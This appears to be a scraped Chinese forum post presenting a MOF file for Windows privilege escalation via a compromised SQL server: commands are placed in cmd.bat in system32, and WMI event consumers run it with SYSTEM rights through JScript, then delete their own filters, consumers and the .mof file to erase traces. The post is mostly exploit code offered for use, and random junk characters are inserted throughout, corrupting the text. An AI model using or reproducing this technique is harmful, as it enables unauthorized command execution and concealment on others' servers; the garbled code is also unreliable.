这个sql提权MOF需要运行 system下的文件,不能定义路径。
4 a! Y" F0 }9 q需要将要运行的命令写入到bat上传到system32目录,然后执行。
; C6 t& o7 ]( n8 Q* Y7 p6 r$ \- v
这个sql提权MOF需要运行 system下的文件,不能定义路径。
; u: O7 I9 Y9 r) {7 i2 d7 v需要将要运行的命令写入到bat上传到system32目录,然后执行。
- ~) D! ]' X, A C6 P, k! {
1 c5 F2 l1 g" [$ M, U8 n: O# L#pragma" }$ Y/ i: ]- J2 x
namespace("\\\\.\\root\\cimv2")
, b9 T" g0 q) d9 A5 a% z class
5 L4 l ?$ m( @$ m MyClass5472 t8 f- m% B9 Q8 `* N
{ [key]* @+ ]; {- i$ L6 R7 |
string, f9 k9 o% W) R! m3 r. m ]/ }
Name;3 S: V8 v( F& K' Q c1 u u
};
( {! |3 X0 t5 f class% A2 C2 F3 ^$ Z6 E
ActiveScriptEventConsumer ^9 F+ c; I5 r9 i( d
: __EventConsumer { [key]
% _: j3 A+ q: \: U2 w1 t string* Q6 a* r4 }2 u! g/ y
Name; [not_null]
+ c9 A. K% i8 Y1 t: R( B9 j$ I/ } string- c; m: t9 W" E: y
ScriptingEngine; string
/ t% G- b+ `) l0 S& k ScriptFileName; [template]# x. }7 f2 q' Y
string
: F0 u& s! @; D" P ScriptText; uint32 KillTimeout;' O2 ?: b3 B1 f" u+ p
}; instance of __Win32Provider as $P {
% t# c" J: R9 K: Q- u/ ]9 n Name, }; Y6 ]) p: }; `2 a
=
. d x7 l/ h$ i "ActiveScriptEventConsumer"; CLSID =# O6 e! \" j$ G4 R7 c. Z
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
3 Y% q/ Y3 {# d% A$ h3 h PerUserInitialization1 l2 ]" G8 g5 f5 U5 {% O6 Y, s
= TRUE;
9 q! g5 t3 ]% | }; instance of __EventConsumerProviderRegistration { Provider3 L: D) j( y9 `% B# j: v% B6 t' m
= $P; ConsumerClassNames) |% {; \* V3 b5 a9 P
=, q& z3 }% a. p- u2 L, d4 }# h5 J
{"ActiveScriptEventConsumer"};2 N& U- S' X% F+ v2 {
};
0 t* {- @8 y/ F3 O3 e, L% n Instance of ActiveScriptEventConsumer
$ ^/ u% w& s) C1 w as $cons { Name1 D; o8 G' @0 o8 t! H! w0 P
=
5 ?% \* [# W5 Z; `4 G "ASEC"; ScriptingEngine
5 y& U1 D; T+ C2 C8 N =
( E$ B$ ?( Q- _: i "JScript"; ScriptText
$ G S3 |5 _: i& Z- I5 x' j =0 }0 K! Y2 C5 Q. B
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };* j: R1 a( i6 e4 c
Instance of ActiveScriptEventConsumer
5 u' Y9 p3 A# A as $cons2 { Name4 o" {) ]- f+ I* p1 [0 D
=
) o0 Q7 G1 [4 A5 _# j "qndASEC"; ScriptingEngine
; F* t7 W) z# [# g' e* @ m& s =
- j" o' G) B7 s+ X+ E5 l4 Q! H "JScript"; ScriptText9 F' ^! x/ c" E7 m
=* x; @, }6 l: @. d3 K! U
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";1 l; Q$ f8 P# K' S v
}; instance of __EventFilter as $Filt { Name
! ]( k; b6 J: u0 j+ I7 D =
. X8 O: O* J# h0 M% i "instfilt"; Query0 m7 z7 O2 u T+ w7 M3 W
=$ @8 F3 Z6 m+ m* R0 a. d" L1 o* M
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
* i6 I# m6 [7 q5 {3 R8 H =# `- v+ n4 [' h2 T+ Q5 Z" x( ^ }
"WQL"; }; instance of __EventFilter as $Filt2 { Name
! Q3 N( \7 g1 Y& ^9 N% f! B =) ?/ {( D* f1 A
"qndfilt"; Query5 C7 }6 s6 [ K9 h9 t% X/ H8 v
=
' S8 @. I9 Z' j1 g9 p "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
) ^$ e- U1 y! x p5 H1 W7 c0 a =
; z) l2 A2 ?" r+ y$ a "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer' H1 A. V! i+ y( N7 E5 g" Y7 U
= $cons; Filter+ b8 m- j+ M' |, _+ G/ t
= $Filt;
- @; D- U( r/ p& B9 b$ ^* I }; instance of __FilterToConsumerBinding as $bind2 { Consumer, A; o( B7 b) V3 f3 m9 B3 ^" P
= $cons2; Filter
6 Z0 B* W P/ z d' _+ L = $Filt2;
+ W- g* m, P; I) k# }1 q7 A! p }; instance of MyClass5471 v8 t0 ^0 X- i# r
as $MyClass { Name2 [0 {6 D* h4 Q% c+ }8 V: Z
=
$ q4 R. _9 m1 s) d8 ~ "ClassConsumer";% N1 L. A* s- I
}; |